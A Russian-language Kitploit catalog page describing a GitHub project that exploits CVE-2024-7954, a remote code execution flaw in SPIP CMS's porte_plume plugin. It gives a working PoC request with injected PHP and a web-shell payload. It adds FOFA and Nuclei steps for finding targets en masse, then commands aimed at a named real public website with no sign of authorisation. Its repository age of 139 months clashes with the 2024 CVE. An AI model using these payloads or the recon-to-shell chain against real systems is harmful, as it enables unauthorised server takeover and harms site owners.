Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/shivanshkuntal/exploitation-of-a-remote-code-execution-vulnerability--cve-2024-7954-
РазведкаСканеры веб-уязвимостейАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийСбор информацииТестирование на ПроникновениеОбучение и ОбразованиеRed Teaming

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Разработка Полезной Нагрузки
Лаборатории и Практика
GitHubshivanshkuntal/exploitation-of-a-remote-code-execution-vulnerability--cve-2024-7954-

Exploitation-of-a-Remote-Code-Execution-vulnerability--CVE-2024-7954-

Эксплуатация уязвимости удаленного выполнения кода - (CVE-2024-7954)

Репозиторий
139 месяцев назадЕщё не проверено
Поделиться

Эксплуатация уязвимости удаленного выполнения кода (CVE-2024-7954)

Проект тестирования уязвимостей программного обеспечения Представлено: Shivansh Kuntal


Обзор

Этот проект демонстрирует эксплуатацию CVE-2024-7954, критической уязвимости удаленного выполнения кода (RCE), затрагивающей SPIP CMS через плагин porte_plume. Уязвимость позволяет неавторизованным злоумышленникам выполнять произвольный PHP-код на целевом сервере с помощью специально сформированных HTTP POST-запросов. Тестирование проводилось в контролируемой локальной среде и позже было расширено до разведки в реальном мире с использованием FOFA и Nuclei.


1. Настройка окружения

Уязвимая версия SPIP CMS, подтвержденная как подверженная CVE-2024-7954, была развернута локально на сервере Apache с использованием репозитория GitHub, содержащего известные уязвимые релизы.

Используемые инструменты

  • Burp Suite (перехват и изменение HTTP-запросов)
  • Apache Web Server
  • FOFA Search Engine (поисковый движок FOFA)
  • Nuclei Vulnerability Scanner (сканер уязвимостей Nuclei)
  • curl (эксплуатация через CLI)

Домашняя страница SPIP, работающая на localhost, подтвердила успешную установку и послужила целью для эксплуатации.


2. Описание уязвимости

Плагин porte_plume (до версий 4.30-alpha2, 4.2.13, 4.1.16) уязвим из-за недостаточной очистки вводимых пользователем данных. Злоумышленники могут внедрять PHP-код в определенные поля формы, которые затем обрабатываются и выполняются сервером.

Воздействие: Неавторизованное удаленное выполнение кода Серьезность: Критическая Вектор атаки: Сеть / HTTP POST


3. Доказательство концепции (PoC)

Вредоносный POST-запрос

root@kitploit:~
POST /index.php?action=porte_plume_previsu HTTP/1.1
Host: {{hostname}}
Content-Type: application/x-www-form-urlencoded

data=AA_[<img111111>->URL`<?php system('cat /etc/passwd'); ?>`]_BB

Примечания

  • PHP-код внедряется внутри механизма форматирования markdown.
  • Выполняется от имени пользователя SPIP на сервере.
  • Атака не требует аутентификации.

4. Разведка с помощью FOFA

Для перечисления публичных установок SPIP был использован запрос FOFA:

root@kitploit:~
app="SPIP"

FOFA вернул несколько точек метаданных:

  • HTTP-заголовки
  • Заголовки страниц
  • IP-адреса и геолокация
  • Технологический стек сервера

Ценность разведки

  1. Перечисление целей: Выявление доступных серверов SPIP CMS.
  2. Определение версий: Определение, активны ли уязвимые версии плагина.
  3. Приоритизация: Выбор систем, которые, вероятно, можно эксплуатировать.
  4. Проверка эксплойта: Подтверждение конечных точек с помощью контролируемых нагрузок.
  5. Автоматизация: Экспорт результатов FOFA в targets.txt для массового сканирования.

Подходящий реальный хост, выявленный:

root@kitploit:~
http://www.comite-tricolore.org/

5. Автоматическое сканирование с помощью Nuclei

Цель

Поскольку ручная эксплуатация медленна, для автоматизации обнаружения CVE-2024-7954 на большом наборе целей использовался Nuclei.

Команда (Пользовательский шаблон)

root@kitploit:~
nuclei -l targets.txt -t CVE-2024-7954.yaml
  • -l targets.txt загружает результаты FOFA
  • -t загружает пользовательский шаблон PoC

Примечание: Исходный шаблон не вернул совпадений.

Широкое сканирование CVE

root@kitploit:~
nuclei -l targets.txt -t cves/

Это сканирование выявило одну отвечающую цель:

root@kitploit:~
http://www.comite-tricolore.org/

6. Ручная проверка и эксплуатация

Шаг 1 — Проверка уязвимой конечной точки

Посетите:

root@kitploit:~
http://www.comite-tricolore.org/spip.php?page=contact

Подтверждено:

  • Поля ввода для имени, email, сообщения
  • Обработчик POST-запросов, подходящий для внедрения нагрузки

Шаг 2 — Внедрение PHP-нагрузки

Используя Burp Suite или curl, измените параметр message:

Нагрузка

root@kitploit:~
<?php system($_GET['cmd']); ?>

Шаг 3 — Запуск выполнения команды

Посетите:

root@kitploit:~
http://www.comite-tricolore.org/spip.php?page=contact&cmd=id

Или с помощью curl:

root@kitploit:~
curl "http://www.comite-tricolore.org/spip.php?page=contact&cmd=id"

Вывод подтвердил удаленное выполнение команды.

Шаг 4 — Обратная оболочка (окончательный доступ)

Специально созданная нагрузка обеспечивает обратный вызов оболочки, позволяя:

  • whoami
  • ls
  • полный интерактивный доступ к оболочке

7. Критические наблюдения

  • Неавторизованный эксплойт значительно повышает серьезность.
  • Отсутствие очистки ввода в плагине является основной проблемой.
  • После внедрения и обработки PHP возможен полный компрометация сервера.
  • Обратная оболочка → потенциальное повышение привилегий → захват сервера.
  • Атаку легко автоматизировать с помощью curl, скриптов Python или Nuclei.

8. Заключение

Этот проект демонстрирует полную цепочку эксплуатации для CVE-2024-7954, от разведки до получения интерактивной оболочки.

Путь эксплуатации

  1. Разведка (FOFA)
  2. Автоматическое сканирование (Nuclei)
  3. Ручное внедрение нагрузки
  4. Подтвержденное выполнение кода
  5. Доступ через обратную оболочку

Уроки безопасности

  • Строгая проверка ввода обязательна для всех данных, контролируемых пользователем.
  • Плагины должны следовать безопасным практикам кодирования.
  • Организации должны своевременно применять исправления безопасности.
  • Регулярная оценка уязвимостей необходима для предотвращения атак RCE.

Эта уязвимость подчеркивает, как, казалось бы, безобидный плагин форматирования текста может привести к полному компрометации системы при неправильной защите.

Скачать инструмент